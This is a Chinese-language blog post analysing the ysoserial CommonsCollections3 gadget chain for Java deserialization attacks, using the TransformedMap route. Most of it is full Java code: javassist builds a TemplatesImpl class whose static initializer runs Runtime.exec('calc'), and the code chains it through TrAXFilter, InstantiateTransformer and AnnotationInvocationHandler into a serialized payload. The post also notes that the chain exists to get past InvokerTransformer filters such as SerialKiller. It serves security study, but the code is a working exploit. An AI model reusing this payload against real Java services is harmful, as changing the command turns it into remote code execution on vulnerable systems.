ysoserial CommonsColletions3分析(1)
阅读原文时间:2023年07月09日阅读:1

CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandlerreadobject进行了改写。

而CC3目前有两条主流的利用链,利用TransformedMap或者LazyMap。我们这篇文章先讲TransformedMap链

在CC2中利用javassist创建了一个攻击类,使用TemplatesImpl类中的newTransformer方法触发

这里写一个简单的demo来演示下:

public class Demo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool= ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        templatesImpl.newTransformer();
    }
}

newTransformer方法执行就会弹出计算器

这个类的transform方法是利用反射获取类的构造方法对象,再通过该构造方法实例化对象

newInstance就是调用构造方法创建一个对象

// 使用构造器对象的newInstance方法初始化对象
Object obj = constroctor.newInstance("yy", 18);

TrAXFilter的构造方法中调用了templates.newTransformer

如果templates变量的值为TemplatesImpl的话,则就能调用到TemplatesImpl的newTransformer方法

这三条链形成一个调用链:

利用InstantiateTransformer#transform调用TrAXFilter的构造方法,再利用构造方法里的templates.newTransformer调用到TemplatesImpl的newTransformer方法。

结合一下ChainedTransformer调用链可以轻松完成构造

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
ChainedTransformer chain = new ChainedTransformer(transformers);

这时候我们只需要调用ChainedTransformer的transform即可触发整条链。这里使用的是TransformedMap来触发ChainedTransformer#transform

public class Demo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool= ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxx");
        Map decorate = TransformedMap.decorate(innerMap, null, chain);
        decorate.put("xxx","xxx");
    }
}

到这里是不是开始像CC1中的TransformedMap调用链了。没错,再用AnnotationInvocationHandler的readObject做为反序列化入口就可以构造出整条链了。

顺便复习一个知识点:TransformedMap里的每个entry在调用setValue方法时,会自动调用TransformedMap类的checkSetValue方法

public class payload02 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool= ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "xxxx");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxx");
        Map decorate = TransformedMap.decorate(innerMap, null, chain);

        // 通过反射机制实例化AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        Object ins = cons.newInstance(java.lang.annotation.Target.class,decorate);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

其实此条链就是为了对付某些策略对InvokerTransformer类的限制(比如SerialKiller过滤器),而导致不能利用,产生的一条新链。

SerialKiller过滤器:https://github.com/ikkisoft/SerialKiller

当然在ysoserial中,并不是利用的TransformedMap构造,而是用的CC1中的另一条LazyMap链。下篇就讲怎么使用LazyMap构造CC3